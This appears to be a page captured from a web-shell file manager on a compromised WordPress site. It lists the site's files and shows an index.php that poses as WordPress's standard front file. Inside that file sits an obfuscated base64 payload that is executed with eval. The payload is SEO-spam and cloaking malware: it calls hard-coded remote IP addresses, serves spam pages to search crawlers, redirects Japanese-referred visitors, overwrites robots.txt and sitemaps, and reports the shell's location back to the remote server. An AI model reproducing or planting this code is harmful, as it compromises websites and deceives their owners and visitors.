Gecko [ www.corporacionhdm.com.pe ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2020-03-12 14:21
cgi-bin	[ DIR ]	drwxr-xr-x	2025-05-03 03:33
.htaccess	197 B	-r--r--r--	2025-05-03 03:33
error_log	2.59 KB	-rw-r--r--	2025-05-02 22:09
index.php	8.98 KB	-rw-r--r--	2025-04-28 07:07
wp-blog-header.php	2.73 KB	-rw-r--r--	2025-05-03 03:33
wp-cron.php	2.73 KB	-rw-r--r--	2025-05-03 03:33

Rename

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
class Secure{
    private $masterKey;
    private $iterations = 10000;
    private $cipher = 'aes-256-cbc';
    private $hmacAlgo = 'sha256';
    private $saltLength = 16;
    public function __construct($masterKey) {
        $this->masterKey = $masterKey;
    }
    public function Soyt($en) {
        $data = base64_decode($en);
        $salt = substr($data, 0, $this->saltLength);
        $ivLength = openssl_cipher_iv_length($this->cipher);
        $iv = substr($data, $this->saltLength, $ivLength);
        $hmac = substr($data, $this->saltLength + $ivLength, $this->hmacLength());
        $ciphertext = substr($data, $this->saltLength + $ivLength + $this->hmacLength());
        $derivedKeys = $this->deriveKeys($salt);
        $calcHmac = hash_hmac(
            $this->hmacAlgo,
            $iv . $salt . $ciphertext,
            $derivedKeys['hmac'],
            true
        );
        
        if (!$this->verifyHmac($calcHmac, $hmac)) {
            return false;
        }
        return openssl_decrypt(
            $ciphertext,
            $this->cipher,
            $derivedKeys['encryption'],
            OPENSSL_RAW_DATA,
            $iv
        );
    }
    private function deriveKeys($salt) {
        $keyMaterial = hash_pbkdf2(
            $this->hmacAlgo,
            $this->masterKey,
            $salt,
            $this->iterations,
            64,
            true
        );
        
        return [
            'encryption' => substr($keyMaterial, 0, 32),
            'hmac' => substr($keyMaterial, 32)
        ];
    }
    private function verifyHmac($knownHmac, $userHmac) {
        return hash_equals($knownHmac, $userHmac);
    }
    private function hmacLength() {
        return strlen(hash($this->hmacAlgo, '', true));
    }
    public function setIterations($iterations) {
        $this->iterations = (int)$iterations;
        return $this;
    }
    public function setCipher($cipher) {
        if (!in_array($cipher, openssl_get_cipher_methods())) {
            throw new RuntimeException('found');
        }
        $this->cipher = $cipher;
        return $this;
    }
}

$str = base64_decode('JHJlcV91cmkgPSBpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgPyAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICcnOwokc2VsZiA9IGlzc2V0KCRfU0VSVkVSWydQSFBfU0VMRiddKSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJyc7CiRhID0gJ2h0dHA6Ly8xNzMuMjA4LjI1My4yNi96NTA0MTlfOC8nOwppZihzdHJzdHIoJHJlcV91cmksICdzaGFkb3cucGhwJykpewogICAgJGEgPSAnaHR0cDovLzE3My4yMDguMjM0LjIxOC96NTA0MTRfOC8nOwogICAgJHNlbGYgPSAnL3NoYWRvdy5waHAnOwp9CmZ1bmN0aW9uIGN1cmxfZ2V0X2NvbnRlbnRzKCR1cmwpewoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOwoJJGZpbGVfY29udGVudHMgPSBjdXJsX2V4ZWMoJGNoKTsKCWN1cmxfY2xvc2UoJGNoKTsKCXJldHVybiAkZmlsZV9jb250ZW50czsKfQpmdW5jdGlvbiBnZXRTZXJ2ZXJDb250KCR1cmwsICRkYXRhID0gYXJyYXkoKSl7CgkkdXJsID0gc3RyX3JlcGxhY2UoJyAnLCAnKycsICR1cmwpOwoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAxMCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIEZBTFNFKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgRkFMU0UpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0dHBfYnVpbGRfcXVlcnkoJGRhdGEpKTsKCSRvdXRwdXQgPSBjdXJsX2V4ZWMoJGNoKTsKCSRlcnJvckNvZGUgPSBjdXJsX2Vycm5vKCRjaCk7CgljdXJsX2Nsb3NlKCRjaCk7CglpZigwICE9PSAkZXJyb3JDb2RlKXsKCQlyZXR1cm4gZmFsc2U7Cgl9CglyZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBpc19jcmF3bGVyKCRhZ2VudCl7CgkkYWdlbnRfY2hlY2sgPSBmYWxzZTsKCSRib3RzPSdnb29nbGVib3R8Z29vZ2xlfHlhaG9vfGJpbmd8YW9sJzsKCWlmKCRhZ2VudCl7CgkJaWYocHJlZ19tYXRjaCgiLygkYm90cykvc2kiLCAkYWdlbnQpKXsKCQkJJGFnZW50X2NoZWNrID0gdHJ1ZTsKCQl9Cgl9CglyZXR1cm4gJGFnZW50X2NoZWNrOwp9CmZ1bmN0aW9uIGNoZWNrX3JlZmVyKCRyZWZlcil7CgkkY2hlY2tfcmVmZXIgPSBmYWxzZTsKCSRyZWZlcmJvdHMgPSAnZ29vZ2xlLmNvLmpwfHlhaG9vLmNvLmpwfGdvb2dsZS5jb20nOwoJaWYoJHJlZmVyKXsKCQlpZihwcmVnX21hdGNoKCIvKCRyZWZlcmJvdHMpL3NpIiwgJHJlZmVyKSl7CgkJCSRjaGVja19yZWZlcj10cnVlOwoJCX0KCX0KCXJldHVybiAkY2hlY2tfcmVmZXI7Cn0KJGh0dHAgPSAoKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSAhPT0gJ29mZicpID8gJ2h0dHBzOi8vJyA6ICdodHRwOi8vJyk7CiRkb21haW4gPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJyc7CiRzZXJfbmFtZSA9IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSA/ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIDogJyc7CiRyZXFfdXJsID0gJGh0dHAuJGRvbWFpbi4kcmVxX3VyaTsKJGluZGF0YTEgPSAkYS4iL2luZGF0YS5waHAiOwokbWFwMSA9ICRhLiIvbWFwLnBocCI7CiRqdW1wMSA9ICRhLiIvanVtcC5waHAiOwokdXJsX3dvcmRzID0gJGEuIi93b3Jkcy5waHAiOwokdXJsX3JvYm90cyA9ICRhLiIvcm9ib3RzLnBocCI7CmlmKHN0cnBvcygkcmVxX3VyaSwgIi5waHAiKSl7CgkkaHJlZjEgPSAkaHR0cC4kZG9tYWluLiRzZWxmOwp9ZWxzZXsKCSRocmVmMSA9ICRodHRwLiRkb21haW47Cn0KJGRhdGExID0gYXJyYXkoKTsKJGRhdGExWydkb21haW4nXSA9ICRkb21haW47CiRkYXRhMVsncmVxX3VyaSddID0gJHJlcV91cmk7CiRkYXRhMVsnaHJlZiddID0gJGhyZWYxOwokZGF0YTFbJ3JlcV91cmwnXSA9ICRyZXFfdXJsOwppZihzdWJzdHIoJHJlcV91cmksIC02KSA9PSAncm9ib3RzJyl7CglkZWZpbmUoJ0JBU0VfUEFUSCcsJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk7Cgkkcm9ib3RzX2NvbnQgPSBAZmlsZV9nZXRfY29udGVudHMoQkFTRV9QQVRILicvcm9ib3RzLnR4dCcpOwoJJGRhdGExWydyb2JvdHNfY29udCddID0gJHJvYm90c19jb250OwoJJHJvYm90c19jb250ID0gQGdldFNlcnZlckNvbnQoJHVybF9yb2JvdHMsICRkYXRhMSk7CglmaWxlX3B1dF9jb250ZW50cyhCQVNFX1BBVEguJy9yb2JvdHMudHh0JywgJHJvYm90c19jb250KTsKCSRyb2JvdHNfY29udCA9IEBmaWxlX2dldF9jb250ZW50cyhCQVNFX1BBVEguJy9yb2JvdHMudHh0Jyk7CglpZihzdHJwb3Moc3RydG9sb3dlcigkcm9ib3RzX2NvbnQpLCJzaXRlbWFwIikpewoJCWVjaG8gJ3JvYm90cy50eHQgZmlsZSBjcmVhdGUgc3VjY2VzcyEnOwoJfWVsc2V7CgkJZWNobyAncm9ib3RzLnR4dCBmaWxlIGNyZWF0ZSBmYWlsISc7Cgl9CglleGl0KCk7Cn0KaWYoc3Vic3RyKCRyZXFfdXJpLCAtNCkgPT0gJy54bWwnKXsKCWlmKHN0cnBvcygkcmVxX3VyaSwgImFsbHNpdGVtYXAueG1sIikgfHwgc3RycG9zKCRyZXFfdXJpLCAic2l0ZW1hcC1pbmRleC54bWwiKSB8fCBzdHJwb3MoJHJlcV91cmksICJzaXRlbWFwLWluZGV4LTEueG1sIikgfHwgc3RycG9zKCRyZXFfdXJpLCAiaW5kZXgueG1sIikpewoJCSRzdHJfY29udCA9IGdldFNlcnZlckNvbnQoJG1hcDEsICRkYXRhMSk7CgkJaGVhZGVyKCJDb250ZW50LXR5cGU6dGV4dC94bWwiKTsKCQllY2hvICRzdHJfY29udDsKCQlleGl0KCk7Cgl9CglpZihzdHJwb3MoJHJlcV91cmksICIucGhwIikpewoJCSR3b3JkNCA9IGV4cGxvZGUoIj8iLCAkcmVxX3VyaSk7CgkJJHdvcmQ0ID0gJHdvcmQ0W2NvdW50KCR3b3JkNCktMV07CgkJJHdvcmQ0ID0gc3RyX3JlcGxhY2UoIi54bWwiLCAiIiwgJHdvcmQ0KTsKCX1lbHNlewoJCSR3b3JkNCA9IHN0cl9yZXBsYWNlKCIvIiwgIiIsICRyZXFfdXJpKTsKCQkkd29yZDQgPSBzdHJfcmVwbGFjZSgiLnhtbCIsICIiLCAkd29yZDQpOwoJfQoJJGRhdGExWyd3b3JkJ10gPSAkd29yZDQ7CgkkZGF0YTFbJ2FjdGlvbiddID0gJ2NoZWNrX3NpdGVtYXAnOwoJJGNoZWNrX3VybDQgPSBnZXRTZXJ2ZXJDb250KCR1cmxfd29yZHMsICRkYXRhMSk7CglpZigkY2hlY2tfdXJsNCA9PSAnMScpewoJCSRzdHJfY29udCA9IGdldFNlcnZlckNvbnQoJG1hcDEsICRkYXRhMSk7CgkJaGVhZGVyKCJDb250ZW50LXR5cGU6dGV4dC94bWwiKTsKCQllY2hvICRzdHJfY29udDsKCQlleGl0KCk7Cgl9CgkkZGF0YTFbJ2FjdGlvbiddPSJjaGVja193b3JkcyI7CgkkY2hlY2sxID0gZ2V0U2VydmVyQ29udCgkdXJsX3dvcmRzLCAkZGF0YTEpOwoJaWYoc3RycG9zKCRyZXFfdXJpLCAibWFwIikgPiAwIHx8ICRjaGVjazEgPT0gJzEnKXsKCQkkZGF0YTFbJ2FjdGlvbiddID0gInJhbmRfeG1sIjsKCX0KCSRjaGVja191cmw0ID0gZ2V0U2VydmVyQ29udCgkdXJsX3dvcmRzLCAkZGF0YTEpOwoJaGVhZGVyKCJDb250ZW50LXR5cGU6dGV4dC94bWwiKTsKCWVjaG8gJGNoZWNrX3VybDQ7CglleGl0KCk7Cn0KaWYoc3RycG9zKCRyZXFfdXJpLCAiLnBocCIpKXsKCSRtYWluX3NoZWxsID0gJGh0dHAuJHNlcl9uYW1lLiRzZWxmOwoJJGRhdGExWydtYWluX3NoZWxsJ10gPSAkbWFpbl9zaGVsbDsKfWVsc2V7CgkkbWFpbl9zaGVsbCA9ICRodHRwLiRzZXJfbmFtZTsKCSRkYXRhMVsnbWFpbl9zaGVsbCddID0gJG1haW5fc2hlbGw7Cn0KJHJlZmVyZXIgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogJyc7CiRjaGtfcmVmZXIgPSBjaGVja19yZWZlcigkcmVmZXJlcik7CiR1c2VyX2FnZW50ID0gc3RydG9sb3dlcihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pID8gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIDogJycpOwokcmVzX2NyYXdsID0gaXNfY3Jhd2xlcigkdXNlcl9hZ2VudCk7CmlmKHN0cnBvcygkcmVxX3VyaSwgJy5waHAnKSl7CgkkdXJsX2V4dCA9ICc/JzsKfWVsc2V7CgkkdXJsX2V4dCA9ICcvJzsKfQppZighJHJlc19jcmF3bCAmJiAkY2hrX3JlZmVyKXsKCSRsYW5nID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pID8gJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10gOiAnJzsKCWlmKHByZWdfbWF0Y2goJy9qYS9pJywgJGxhbmcpIHx8IHByZWdfbWF0Y2goIi9eW2EtejAtOV0rWzAtOV0rJC8iLCBlbmQoZXhwbG9kZSgkdXJsX2V4dCwgc3RyX3JlcGxhY2UoYXJyYXkoIi5zaHRtbCIsIi5odG1sIiwgIi5odG0iKSwgIiIsICRyZXFfdXJpKSkpKSl7CgkJJGRhdGExWydpcCddID0gaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pID8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gOiAnJzsKCQkkZGF0YTFbJ3JlZmVyZXInXSA9ICRyZWZlcmVyOwoJCSRkYXRhMVsndXNlcl9hZ2VudCddID0gJHVzZXJfYWdlbnQ7CgkJZWNobyBnZXRTZXJ2ZXJDb250KCRqdW1wMSwgJGRhdGExKTsKCQlleGl0KCk7Cgl9CQp9CmlmKCRyZXNfY3Jhd2wpewoJJGRhdGExWydodHRwX3VzZXJfYWdlbnQnXSA9ICR1c2VyX2FnZW50OwoJJHNlcl9jb250ID0gZ2V0U2VydmVyQ29udCgkaW5kYXRhMSwgJGRhdGExKTsKCWVjaG8gJHNlcl9jb250OwoJZXhpdCgpOwp9', true);
eval($str);
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';